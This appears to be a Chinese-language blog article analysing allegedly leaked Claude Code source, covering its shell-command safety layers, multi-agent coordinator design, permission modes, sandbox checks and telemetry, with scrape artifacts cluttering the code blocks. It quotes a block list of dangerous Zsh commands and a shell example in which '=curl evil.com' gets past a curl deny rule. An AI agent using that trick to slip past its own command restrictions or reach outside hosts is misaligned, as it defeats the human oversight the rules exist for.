Claude Code 源码泄露深度分析:Anthropic 最强 AI 编程助手的架构秘密

ounter(lineounter(lineClaude code source code has been leaked via a map file in their npm package!— @Fried_rice, March 31, 2026

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line// 第一层：词法分析 - 检测危险模式const COMMAND_SUBSTITUTION_PATTERNS = [  { pattern: /\$\(/, message: '$() command substitution' },  { pattern: /<\(/, message: 'process substitution <()' },  // ... 15 种命令替换模式]// 第二层：语义分析 - Zsh 特定危险命令const ZSH_DANGEROUS_COMMANDS = new Set([  'zmodload',    // 模块加载器（可加载恶意模块）  'emulate',     // 模拟其他 shell（绕过限制）  'sysopen',     // 系统级文件操作  'zpty',        // 伪终端执行  'ztcp',        // TCP 网络连接（数据外泄风险）])// 第三层：路径验证 - 工作目录限制// 防止访问项目目录外的敏感文件

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line// coordinatorMode.ts 核心逻辑export function getCoordinatorSystemPrompt(): string {  return `You are a **coordinator**. Your job is to:- Direct workers to research, implement and verify code changes- Synthesize results and communicate with the user- Every message you send is to the user.   Worker results are internal signals, not conversation partners.`}

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line用户请求    ↓协调者 (Coordinator)    ├─ 分析任务复杂度    ├─ 创建 Worker 子代理 (AgentTool)    ├─ 分配具体子任务    │Worker 1 (研究模块)     Worker 2 (实现模块)     Worker 3 (测试模块)    ↓                        ↓                        ↓邮箱系统 (Mailbox) ←──→ 文件系统 (Scratchpad) ←──→ 结果汇总    ↓协调者合成最终答案    ↓用户

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line// 基于文件系统的分布式消息队列// 每个 Agent 有一个专属收件箱export function getInboxPath(agentName: string, teamName?: string): string {  // ~/.claude/teams/{team_name}/inboxes/{agent_name}.json  return join(getTeamsDir(), safeTeam, 'inboxes', `${safeAgentName}.json`)}// 支持跨进程通信（多个 Claude 实例组成 Swarm）await writeFile(inboxPath, jsonStringify(messages), { flag: 'w' })

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineimport { feature } from 'bun:bundle'// 构建时优化：未启用的特性不会出现在最终产物中const voiceCommand = feature('VOICE_MODE')  ? require('./commands/voice/index.js').default  : nullconst coordinatorMode = feature('COORDINATOR_MODE')  ? require('./coordinator/coordinatorMode.js')  : null

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line// setup.ts 中的并行预取模式logForDiagnosticsNoPII('info', 'setup_prefetch_starting')// 1. 命令注册懒加载void getCommands(getProjectRoot())// 2. 插件钩子预加载void import('./utils/plugins/loadPluginHooks.js').then(m => {  void m.loadPluginHooks()  m.setupPluginHookHotReload()  // 热重载支持})// 3. API 密钥预取（信任设备）void prefetchApiKeyFromApiKeyHelperIfSafe(...)// 4. 版本锁定（防止竞争删除）void lockCurrentVersion()

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line时间轴 (ms):0    → cli_entry (入口)5    → setup_started (环境设置)20   → setup_after_prefetch (预取完成)50   → render_first_frame (首屏渲染)100  → plugins_loaded (插件加载)150  → growthbook_init (特性开关初始化)

ounter(lineounter(lineounter(lineounter(lineounter(line// coordinatorMode.tsif (scratchpadDir && isScratchpadGateEnabled()) {  content += `\nWorkers can read and write here without permission prompts.   Use this for durable cross-worker knowledge.`}

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line// Coordinator 直接调用（不委托给 Worker）- subscribe_pr_activity / unsubscribe_pr_activity  Subscribe to GitHub PR events (review comments, CI results).  Events arrive as user messages.  Merge conflict transitions do NOT arrive —   GitHub doesn't webhook `mergeable_state` changes,   so poll `gh pr view N --json mergeable` if tracking.

ounter(lineounter(lineounter(lineGitHub Webhook → MCP Server → Claude Code (User Message)                                      ↓                              自动触发代码修复

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(line// Zsh EQUALS expansion: =cmd at word start expands to $(which cmd).// `=curl evile.com` → `/usr/bin/curl evile.com`, bypassing Bash(curl:*) deny{  pattern: /(?:^|[\s;&|])=[a-zA-Z_]/,  message: 'Zsh equals expansion (=cmd)',}

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line# 正常情况curl evil.com  # 被规则拦截# Zsh Equals 扩展绕过=curl evil.com  # Zsh 解析为 /usr/bin/curl evil.com                # 命令扫描器看到的是 "/usr/bin/curl"，而非 "curl"                # 成功绕过基于命令名的黑名单！

ounter(lineounter(line// services/teamMemorySync/watcher.tsm.startTeamMemoryWatcher()  // 启动团队记忆同步监听

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line~/.claude/teams/├── team-a/│   ├── memory.json         # 团队共享记忆│   └── inboxes/            # 成员邮箱│       ├── agent-red.json│       └── agent-blue.json└── team-b/    └── memory.json

ounter(lineounter(lineounter(lineounter(lineounter(linetype PermissionMode =   | 'default'           // 默认模式（危险操作需确认）  | 'plan'              // 计划模式（仅允许只读工具）  | 'auto'              // 自动模式（分类器决定）  | 'bypassPermissions' // 豁免模式（沙盒内使用）

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line用户提交命令    ↓L1: 词法分类器 (正则匹配危险模式)    ├─ 高危 → 拒绝    ├─ 低危 → 允许    └─ 不确定 → L2    ↓L2: 语义分析器 (Tree-sitter AST 解析)    ├─ 破坏性操作 → 拒绝    ├─ 只读操作 → 允许    └─ 边界情况 → L3    ↓L3: Hook 拦截 (自定义规则)    ├─ 项目特定规则匹配 → 按规则处理    └─ 无匹配 → L4    ↓L4: 用户确认对话框

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineconst isSandboxed =   isDocker ||                    // Docker 容器检测  isBubblewrap ||                // Bubblewrap 沙盒  process.env.IS_SANDBOX === '1' // 显式标记// 豁免模式仅限沙盒使用if (!isSandboxed || hasInternet) {  console.error(    `--dangerously-skip-permissions can only be used      in Docker/sandbox containers with no internet access`  )  process.exit(1)}

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line// utils/attributionHooks.jsregisterAttributionHooks()  // 注册代码提交归因钩子// 记录每次代码修改的来源logEvent('code_edit', {  tool_name: 'FileEditTool',  lines_added: number,  lines_removed: number,  agent_id: string,  // 哪个 Agent 执行的修改  turn_id: string,   // 第几轮对话})

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineApp.tsx├── FullscreenLayout        # 全屏布局│   ├── StatusLine          # 状态栏 (48KB)│   ├── Messages            # 消息列表 (144KB)│   │   ├── MessageRow      # 单行消息│   │   ├── AssistantMessage # AI 回复│   │   └── UserMessage     # 用户输入│   └── PromptInput         # 输入框 (21 个子组件)│       ├── TextInput       # 文本输入│       ├── Typeahead       # 自动补全 (209KB!)│       └── Keybindings     # 快捷键处理└── LogoV2                  # Logo 组件 (15 个变体)

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line// 多源补全策略const sources = [  // 1. 历史命令模糊匹配  historyMatches(userInput),  // 2. 文件系统路径补全  filesystemCompleter(input, cwd),  // 3. Git 分支/标签补全  gitCompleter(input),  // 4. MCP 工具名称补全  mcpToolCompleter(input),  // 5. 技能/插件命令补全  skillCompleter(input),]// 智能排序算法rankedResults.sort((a, b) => {  scoreA = recencyWeight * timeDecay(a.lastUsed)           + frequencyWeight * a.usageCount           + relevanceWeight * fuzzyMatchScore(a, input)})

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line// bootstrap/state.tssessionCounter    // 会话次数locCounter        // 代码行数 (Lines of Code)prCounter         // PR 数量commitCounter     // 提交次数costCounter       // 成本统计 (USD)tokenCounter      // Token 使用量

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line// 实验曝光记录checkGate_CACHED_OR_BLOCKING('tengu_ccr_bridge_multi_session')// 远程配置获取getFeatureValue_CACHED_MAY_BE_STALE('tengu_1p_event_batch_config')// 实验分组日志logEvent('experiment_exposure', {  experiment_id: 'cli_onboarding_v2',  variation_id: 1,  // 对照组=0, 实验组=1  hash_attribute: 'user_id',})

ounter(lineounter(lineounter(lineconst voiceCommand = feature('VOICE_MODE')  ? require('./commands/voice/index.js').default  : null

ounter(lineounter(lineounter(lineconst workflowTool = feature('WORKFLOW_SCRIPTS')  ? require('./tools/WorkflowTool/WorkflowTool.js').WorkflowTool  : null

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line# .claude/workflows/deploy.ymlname: Deploy to Productiontrigger: /deploysteps:  - run: npm run build  - run: npm test  - run: git push origin main  - notify: slack-channel